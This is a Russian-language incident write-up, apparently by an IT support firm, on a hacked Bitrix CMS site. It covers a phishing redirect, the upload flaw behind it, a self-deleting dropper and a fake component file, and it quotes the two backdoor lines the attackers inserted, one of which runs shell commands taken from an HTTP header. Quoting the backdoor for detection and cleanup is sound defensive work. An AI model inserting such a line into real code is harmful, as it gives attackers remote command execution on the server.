+7 (700) 700 71 77 info@oneit.kz

Битрикс попал в беду. На сайт загружен вредоносный код

12.12.2022

В начале июля 2022 года от технической поддержки хостинга стало известно, что на клиентском сайте имеется вредоносный код.

Письмо сообщало о наличии вредоносной функции на веб-сайте. Исходные сведения удалось получить по каналам Национального координационного центра по компьютерным инцидентам. В частности, речь шла о JS-коде на сайте, который после выполнения переадресовывал пользователей на подконтрольный злоумышленникам сайт для фишинга, то есть производилась XSS-атака.

Управление сайтом осуществляется с помощью CMS Битрикс. Важно заметить, что на веб-ресурсе заказчика оказалась просрочена лицензия, то есть движок сайта не был обновлён до актуальной версии.

После получения информации были сразу же изучены заражённые файлы. Ими оказались core.js и prolog.php.

Усилия злоумышленников были направлены на внедрение в эти файлы внешнего кода, из-за которого и происходила переадресация на другие сайты (редирект). Такой сценарий, как следует отметить, не самый пессимистичный: получив доступ к содержимому файлов, хакеры могут также полностью удалить информацию.

После удаления вредоносного кода работа была продолжена. Хотя заражённые файлы были восстановлены, сама использованная ранее уязвимость всё ещё существовала и сохраняла риск повторной атаки.

Проведённое в связи с этим изучение форумов Битрикс помогло обнаружить информацию об аналогичных инцидентах у других пользователей. Несмотря на отсутствие конкретных данных об уязвимости, это открыло возможность для дальнейшей работы.

Изначально было сделано предположение о наличии уязвимости в устаревшем модуле vote, однако эта гипотеза не подтвердилась.

Далее были проанализированы сетевые запросы за прошедшие дни для выявления подозрительной активности. Работа позволила обнаружить подозрительный запрос по адресу /bitrix/tools/sale_print.php. При этом известно, что файловая система Битрикса не предполагает наличия такого файла. Удалось обнаружить, что по указанному адресу файл отсутствует, в связи с чем было выдвинуто предположение (позже подтверждённое) о том, что после обращения к файлу произошло его самоудаление.

Как вирус попадает на сайт без предоставления доступов?

Это логичный вопрос со стороны владельца веб-ресурса после сообщения об обнаружении вируса. Самые распространенные меры — поиск злоумышленника среди вебмастеров, смена паролей и доступов. К сожалению, этого не всегда оказывается достаточно.

После анализа более ранних сетевых запросов, чем уже упомянутый на sale_print, были обнаружены два запроса на /bitrix/tools/html_editor_action.php.

Отмечено, что html_editor_action.php — элемент визуального редактора Битрикс для работы с загружаемыми материалами, включая изображения.

Было принято решение об изучении кодовой базы этих функций с целью понять, связан ли указанный файл с уязвимостью. Работа позволила узнать, что в ходе загрузки материалов посредством визуального редактора Битрикс размещает содержимое во временной папке. Была проведена немедленная проверка этой папки, что принесло свой результат: обнаружились файл и логи (log) к нему от 21 июня. Подробный анализ помог опознать файл как сериализованный объект BitrixMainORMDataResult с системной командой на создание ранее упомянутого файла sale_print.php с зашифрованным содержимым. Исходя из логов, можно предположить, что файл воспринимался в системе Битрикс как изображение.

Таким образом, именно html_editor_action.php оказался причиной уязвимости. Предстояло определить, что позволило загрузить файл на сервер.

Здесь следует также уточнить, что доступ к файлу, создающему sale_print.php, позволил расшифровать содержимое объекта. Как удалось выяснить, речь не шла о заражении файлов core.js и prolog.php. Вместо этого файл sale_print.php создаёт фиктивный файл main.php, расположенный по адресу /bitrix/components/bitrix/main.file.input и по дате замаскированный под стандартные файлы Битрикс. Таким образом, обнаружив этот файл, не следует принимать его за системный — необходимо сразу его удалить.

Посредством sale_print вносятся изменения в содержимое файла /bitrix/modules/fileman/classes/general/html_editor.php. Это две строки:

  • "spell_word" => $_SERVER['HTTP_S'] == "bermuda" ? die(system($_SERVER['HTTP_P'])) : "",
  • if(substr($_POST['bxu_info']['CID'], 0, 7 ) === "default") die();

Эти строки также не относятся к исходному содержимому Битрикс, их следует при обнаружении удалить.

Посредством запросов на фиктивный файл main.php злоумышленниками и осуществляется заражение файлов core.js и prolog.php.

Доступность CMS для злоумышленников

Возвращаясь к уязвимости внутри html_editor_action.php, следует отметить: проблема сохраняла возможность отправки заражённых файлов и, как следствие, актуальные риски.

Благодаря анализу кодовой базы html_editor_action.php удалось сделать по этому поводу актуальные, ценные выводы.

Уязвимость старых версий Битрикса для вирусов

Если обновление CMS не проводилось в течение длительного времени, то есть примерно до 2021 года — это означает наличие простой входной проверки на CSRF-токен без дальнейших специфических проверок. Их отсутствие повышает риск того, что злоумышленники смогут подделать свой запрос под реальный пользовательский (такая операция была в целях проверки выполнена на тестовом сайте).

Новейшая версия Битрикса дополнительно проверяет авторизованных пользователей. Однако это не означает, что у владельцев действующей лицензии совершенно не было бы поводов для беспокойства.

Для проверки достаточно любой пользовательской авторизации, без участия администратора. Так как большая часть веб-ресурсов на Битрикс представляет собой магазины, пользовательский аккаунт создаётся для покупателя при заказе, что уже обеспечивает возможность авторизации. Её вполне достаточно для прохождения новой проверки, так что риск по-прежнему сохранился.

Итоги проведённого анализа были задействованы для доработки проверок Битрикса, устранения возможности загрузки вредоносных файлов без ущерба для имеющихся функций.

На сегодняшний день можно точно утверждать, что уязвимость устранена, и риски для пользователей сведены к нулю.

Разумеется, не прекращается активность злоумышленников, направленная на новые методы атаки коммерческих веб-ресурсов.

Как обнаружить наличие вируса на сайте?

Характерные признаки:

  • переадресация на другие веб-ресурсы;
  • сообщения хостинга об обнаружении вредоносного кода;
  • уведомления от «Яндекс.Вебмастера»;
  • исчезновение страниц из индекса;
  • остановка объявлений «Яндекс.Директ» без очевидных причин;
  • замедление, недоступность сайта;
  • появление на сайте страниц, не связанных с его темой (прежде всего, запрещённая тематика).

Перечисленные признаки могут свидетельствовать о вирусной атаке, что требует немедленного обращения к сотрудникам поддержки.

Защита сайта от вирусов

Рекомендованные действия по обеспечению надёжности:

  • регулярное обновление CMS — популярность системы способствует росту числа пользователей и, как следствие, злоумышленников;
  • периодическая (раз в полгода или чаще) смена паролей от хостинга и админки;
  • удаление или изменение доступов для работников, покинувших компанию;
  • нераспространение доступов среди пользователей с низким доверием;
  • использование безопасных браузеров с блокировкой пересылки личных сведений;
  • установка надёжных паролей, с минимальной возможностью подбора.

Также следует избегать установки подозрительных программ и переходов по подозрительным веб-ссылкам.

Если поиск решения остался безрезультатным, профессиональная техническая поддержка поможет избавиться от проблемы.

Возврат к списку

Есть вопрос?
Напишите нам